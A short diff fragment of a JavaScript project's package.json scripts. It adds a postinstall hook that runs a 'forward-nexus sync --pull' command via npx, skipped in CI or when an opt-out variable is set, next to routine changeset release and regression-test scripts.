+    "postinstall": "node -e \"if (process.env.CI || process.env.FORWARD_NEXUS_SKIP_SYNC) { console.log('Skipping forward-nexus sync.'); process.exit(0); } require('node:child_process').execFileSync('npx', ['forward-nexus', 'sync', '--pull'], { stdio: 'inherit' });\"",
     "publish:snapshot": "changeset version --snapshot snapshot && changeset publish --tag snapshot",
     "release": "changeset publish",
     "regression:suite": "tsc -b && node testing/regression/run-suite.mjs",